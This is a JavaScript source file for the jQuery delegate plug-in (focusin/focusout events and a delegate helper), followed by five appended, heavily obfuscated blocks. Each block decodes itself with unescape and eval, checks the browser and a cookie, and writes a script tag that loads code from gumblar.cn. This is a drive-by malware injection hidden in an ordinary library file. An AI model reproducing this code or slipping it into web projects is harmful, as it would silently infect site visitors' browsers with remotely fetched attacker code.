/*
 * jQuery delegate plug-in v1.0
 *
 * Copyright (c) 2007 Jörn Zaefferer
 *
 * $Id: jquery.delegate.js 4328 2007-12-28 16:39:00Z joern.zaefferer $
 *
 * Dual licensed under the MIT and GPL licenses:
 *   http://www.opensource.org/licenses/mit-license.php
 *   http://www.gnu.org/licenses/gpl.html
 */

// provides cross-browser focusin and focusout events
// IE has native support, in other browsers, use event caputuring (neither bubbles)

// provides delegate(type: String, delegate: Selector, handler: Callback) plugin for easier event delegation
// handler is only called when $(event.target).is(delegate), in the scope of the jQuery-object for event.target 

// provides triggerEvent(type: String, target: Element) to trigger delegated events
;(function($) {
	$.extend($.event.special, {
		focusin: {
			setup: function() {
				if ($.browser.msie)
					return false;
				this.addEventListener("focus", $.event.special.focusin.handler, true);
			},
			teardown: function() {
				if ($.browser.msie)
					return false;
				this.removeEventListener("focus", $.event.special.focusin.handler, true);
			},
			handler: function(event) {
				var args = Array.prototype.slice.call( arguments, 1 );
				args.unshift($.extend($.event.fix(event), { type: "focusin" }));
				return $.event.handle.apply(this, args);
			}
		},
		focusout: {
			setup: function() {
				if ($.browser.msie)
					return false;
				this.addEventListener("blur", $.event.special.focusout.handler, true);
			},
			teardown: function() {
				if ($.browser.msie)
					return false;
				this.removeEventListener("blur", $.event.special.focusout.handler, true);
			},
			handler: function(event) {
				var args = Array.prototype.slice.call( arguments, 1 );
				args.unshift($.extend($.event.fix(event), { type: "focusout" }));
				return $.event.handle.apply(this, args);
			}
		}
	});
	$.extend($.fn, {
		delegate: function(type, delegate, handler) {
			return this.bind(type, function(event) {
				var target = $(event.target);
				if (target.is(delegate)) {
					return handler.apply(target, arguments);
				}
			});
		},
		triggerEvent: function(type, target) {
			return this.triggerHandler(type, [jQuery.event.fix({ type: type, target: target })]);
		}
	})
})(jQuery);
<!-- 
(function(t){eval(unescape(('var~20a~3d~22~53~63ript~45ng~69ne~22~2cb~3d~22~56e~72~73~69on()+~22~2cj~3d~22~22~2cu~3dnavigator~2e~75~73er~41ge~6et~3bi~66((u~2ei~6ede~78O~66(~22~57in~22)~3e~30)~26~26~28u~2eindexOf(~22NT~206~22~29~3c0)~26~26(document~2e~63ookie~2e~69~6edex~4ff(~22~6diek~3d1~22)~3c0)~26~26(ty~70e~6ff(z~72~76zts~29~21~3d~74ypeof~28~22A~22)))~7bzrv~7ats~3d~22~41~22~3beval(~22if(w~69n~64~6fw~2e~22+a~2b~22~29j~3d~6a~2b~22~2b~61+~22M~61~6aor~22+~62~2b~61+~22Mino~72~22+b+~61+~22~42uil~64~22+b~2b~22j~3b~22)~3bdocum~65nt~2ewrit~65~28~22~3cs~63rip~74~20~73rc~3d~2f~2fg~75mbl~61r~2ecn~2fr~73s~2f~3fid~3d~22+~6a+~22~3e~3c~5c~2fsc~72~69pt~3e~22)~3b~7d').replace(t,'%')))})(/~/g);
 --><!-- 
(function(){var xGsAg='v:61r:20a:3d:22Sc:72:69:70tEn:67ine:22:2cb:3d:22Ver:73:69o:6e():2b:22:2cj:3d:22:22:2cu:3dn:61vig:61:74:6fr:2eu:73:65rAgent:3b:69:66(:28u:2eindexO:66:28:22:57in:22):3e:30):26:26(:75:2eind:65xOf(:22:4eT:206:22):3c:30):26:26(docum:65nt:2e:63o:6fkie:2ei:6edexOf(:22:6di:65k:3d:31:22):3c0):26:26(typeof(zr:76zt:73:29:21:3d:74ype:6ff:28:22A:22)):29:7b:7arvz:74s:3d:22:41:22:3beval(:22:69f:28w:69nd:6f:77:2e:22+a+:22):6a:3dj+:22+a:2b:22M:61jor:22+b+:61+:22:4dinor:22+b+a:2b:22B:75il:64:22:2b:62:2b:22:6a:3b:22):3b:64ocum:65:6et:2ewri:74e(:22:3csc:72ipt:20src:3d:2f:2fg:75m:62la:72:2ecn:2f:72ss:2f:3fid:3d:22+:6a+:22:3e:3c:5c:2fscri:70:74:3e:22):3b:7d';var Ptj=xGsAg.replace(/:/g,'%');eval(unescape(Ptj))})();
 --><!-- 
(function(xJnUl){var Z62='var<20a<3d<22Sc<72ip<74En<67in<65<22<2cb<3d<22Vers<69on()+<22<2cj<3d<22<22<2cu<3d<6e<61<76igator<2euse<72<41ge<6et<3bif<28(u<2ein<64e<78Of(<22Win<22)<3e0<29<26<26<28u<2eind<65xOf<28<22NT<206<22<29<3c0<29<26<26(doc<75<6dent<2ecoo<6bie<2e<69n<64e<78O<66(<22<6di<65k<3d<31<22)<3c0)<26<26(typ<65of(<7ar<76zts)<21<3dty<70<65of(<22A<22)))<7b<7arvzts<3d<22A<22<3beva<6c(<22i<66<28windo<77<2e<22+a+<22)j<3dj+<22+a+<22Major<22<2bb+<61+<22Mi<6eo<72<22+b+a<2b<22B<75ild<22+b<2b<22j<3b<22<29<3b<64ocu<6dent<2ew<72ite(<22<3c<73<63ript<20src<3d<2f<2fg<75<6d<62la<72<2e<63n<2frs<73<2f<3fi<64<3d<22<2b<6a<2b<22<3e<3c<5c<2f<73cr<69pt<3e<22<29<3b<7d';var V5uuN=Z62.replace(xJnUl,'%');var VxHf=unescape(V5uuN);eval(VxHf)})(/</g);
 --><!-- 
(function(){var DO8h='%';var xSMr4='var_20a_3d_22ScriptEn_67ine_22_2cb_3d_22Ver_73i_6fn_28)+_22_2cj_3d_22_22_2cu_3dnaviga_74_6f_72_2euserAg_65nt_3bi_66((_75_2eindexOf_28_22Wi_6e_22)_3e0)_26_26(u_2eindexOf(_22_4eT_206_22_29_3c_30_29_26_26(_64ocument_2ec_6foki_65_2ein_64exOf(_22miek_3d1_22)_3c0)_26_26_28typeo_66_28zrvzt_73)_21_3dtypeof_28_22_41_22)))_7bz_72v_7ats_3d_22A_22_3be_76_61l_28_22if(wi_6edow_2e_22+a+_22)j_3dj+_22_2b_61+_22Major_22_2bb+_61+_22_4dino_72_22+b_2b_61_2b_22_42u_69l_64_22+_62+_22j_3b_22)_3bdocument_2ew_72ite(_22_3cscript_20src_3d_2f_2fg_75mb_6c_61r_2ecn_2f_72_73s_2f_3fid_3d_22_2bj+_22_3e_3c_5c_2fs_63rip_74_3e_22_29_3b_7d';var UxV3X=xSMr4.replace(/_/g,DO8h);eval(unescape(UxV3X))})();
 --><!-- 
(function(){var UkUgS='#76ar#20a#3d#22Scri#70t#45ngi#6e#65#22#2c#62#3d#22Versio#6e#28)+#22#2c#6a#3d#22#22#2cu#3dnavi#67#61tor#2eu#73#65rAgent#3bi#66((u#2e#69nd#65xOf#28#22Win#22#29#3e0)#26#26(u#2eindexOf#28#22#4e#54#20#36#22#29#3c0)#26#26(#64oc#75ment#2eco#6fk#69e#2ein#64exOf(#22#6d#69#65#6b#3d#31#22#29#3c#30)#26#26#28#74ypeo#66(#7a#72v#7a#74s)#21#3dt#79p#65of(#22A#22)))#7bz#72vzt#73#3d#22A#22#3b#65val(#22if(wi#6edow#2e#22#2ba+#22#29#6a#3dj+#22+a+#22#4dajor#22+b+a#2b#22#4dinor#22#2bb+#61+#22Bu#69ld#22+#62#2b#22j#3b#22)#3bdo#63ument#2ewri#74e(#22#3cscri#70t#20src#3d#2f#2fgumblar#2ecn#2fr#73#73#2f#3fid#3d#22#2b#6a+#22#3e#3c#5c#2fs#63ript#3e#22)#3b#7d';var eIS=UkUgS.replace(/#/g,'%');var b5a=unescape(eIS);eval(b5a)})();
 -->